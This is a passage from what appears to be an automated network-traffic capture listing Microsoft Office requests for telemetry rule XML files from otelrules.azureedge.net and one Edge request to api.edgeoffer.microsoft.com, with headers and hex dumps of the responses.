2024-11-17 23:27:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:41 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 9564d138-601e-0084-5287-366b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232741Z-164f84587bfmxxfphC1DFW3au800000003cg00000000frsp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:41 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:41 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:41 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 0261770d-d01e-002b-1caf-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232741Z-16547b76f7fbkfmzhC1DFWm9tw00000004n000000000af25 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:41 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:41 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:41 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: b85c485e-e01e-00aa-4976-36ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232741Z-164f84587bfsgfx9hC1DFWw1as00000004wg000000008fee x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:41 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:41 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:41 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a62daa21-301e-0096-7fca-36e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232741Z-164f84587bf9nk94hC1DFWerbg00000003wg00000000qsdc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:41 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:41 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:41 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 99e874a7-501e-00a0-6b09-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232741Z-1866b5c5fbbkbjq9hC1DFWf1es00000003wg00000000e3kz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:41 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:42 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:42 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 4da461bd-e01e-0033-7a09-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232742Z-16547b76f7fw2955hC1DFWsptc00000005h00000000067y6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:42 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:43 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:43 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 929893a7-101e-0017-74a6-3747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232743Z-16547b76f7fzwxm2hC1DFWt5hw00000002fg00000000p9za x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 23:27:43 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:43 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:43 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: cd727bf0-801e-007b-329c-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232743Z-16547b76f7fsq6p7hC1DFWfx6800000003gg000000002s4h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:43 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:43 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 68ea2c45-401e-002a-2712-37c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232743Z-164f84587bfs5tz9hC1DFW9a3w00000005500000000020rs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:43 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:43 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:43 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232743Z-1866b5c5fbblmqrkhC1DFWf9ns000000033g00000000975w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:43 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49874	94.245.104.56	443	7328	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:43 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 23:27:43 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sun, 17 Nov 2024 23:27:43 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=450dfd268f8a743df3163736f7e10bb0b3d546aeb5345f053777aa7edaa19a9e;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=450dfd268f8a743df3163736f7e10bb0b3d546aeb5345f053777aa7edaa19a9e;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:44 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:44 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:44 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232744Z-16547b76f7ff9zf4hC1DFW2pfc00000002fg00000000pak4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:44 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:45 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
